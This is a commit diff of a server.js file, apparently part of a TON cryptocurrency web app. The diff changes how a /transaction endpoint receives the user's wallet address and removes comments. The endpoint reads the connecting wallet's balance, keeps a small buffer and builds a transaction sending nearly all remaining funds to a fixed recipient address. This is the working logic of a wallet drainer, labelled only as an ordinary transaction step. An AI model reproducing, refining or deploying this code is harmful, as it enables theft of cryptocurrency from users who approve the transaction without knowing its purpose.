Reaperxxxx commited on
Commit
cd37f07
·
verified ·
1 Parent(s): 8c89856

Update server.js

Browse files
Files changed (1) hide show
  1. server.js +3 -7
server.js CHANGED
@@ -55,18 +55,16 @@ async function getWalletBalance(address) {
55
  * Transaction: frontend fetches this before sending transaction
56
  * Deducts buffer; fails gracefully if balance is too small.
57
  */
58
- app.get("/transaction", async (req, res) => {
59
- const userWallet = req.query.wallet;
60
  console.log("💰 Transaction request from:", userWallet);
61
 
62
  if (!userWallet) {
63
  return res.status(400).json({ error: "Wallet address missing" });
64
  }
65
 
66
- // 👇 Replace this with your TON receiving wallet address
67
  const recipientAddress = "EQCxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";
68
 
69
- // Get balance of the user wallet
70
  const balanceNanoTon = await getWalletBalance(userWallet);
71
  if (!balanceNanoTon) {
72
  return res.status(500).json({ error: "Could not fetch balance" });
@@ -74,7 +72,6 @@ app.get("/transaction", async (req, res) => {
74
 
75
  const balanceTon = balanceNanoTon / 1e9;
76
 
77
- // If balance is too low, return graceful 0
78
  if (balanceTon < 0.05) {
79
  console.log(`⚠️ Balance too low (${balanceTon} TON). Not building transaction.`);
80
  return res.json({
@@ -85,7 +82,6 @@ app.get("/transaction", async (req, res) => {
85
  });
86
  }
87
 
88
- // Deduction buffer
89
  let bufferTon = 0.05;
90
  if (balanceTon > 100) bufferTon = 0.8;
91
  else if (balanceTon > 10) bufferTon = 0.5;
@@ -101,7 +97,7 @@ app.get("/transaction", async (req, res) => {
101
  {
102
  address: recipientAddress,
103
  amount: sendNanoTon.toString(),
104
- payload: "" // optional base64 payload
105
  }
106
  ],
107
  raw: {
 
55
  * Transaction: frontend fetches this before sending transaction
56
  * Deducts buffer; fails gracefully if balance is too small.
57
  */
58
+ app.get("/transaction/:wallet", async (req, res) => {
59
+ const userWallet = req.params.wallet;
60
  console.log("💰 Transaction request from:", userWallet);
61
 
62
  if (!userWallet) {
63
  return res.status(400).json({ error: "Wallet address missing" });
64
  }
65
 
 
66
  const recipientAddress = "EQCxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";
67
 
 
68
  const balanceNanoTon = await getWalletBalance(userWallet);
69
  if (!balanceNanoTon) {
70
  return res.status(500).json({ error: "Could not fetch balance" });
 
72
 
73
  const balanceTon = balanceNanoTon / 1e9;
74
 
 
75
  if (balanceTon < 0.05) {
76
  console.log(`⚠️ Balance too low (${balanceTon} TON). Not building transaction.`);
77
  return res.json({
 
82
  });
83
  }
84
 
 
85
  let bufferTon = 0.05;
86
  if (balanceTon > 100) bufferTon = 0.8;
87
  else if (balanceTon > 10) bufferTon = 0.5;
 
97
  {
98
  address: recipientAddress,
99
  amount: sendNanoTon.toString(),
100
+ payload: ""
101
  }
102
  ],
103
  raw: {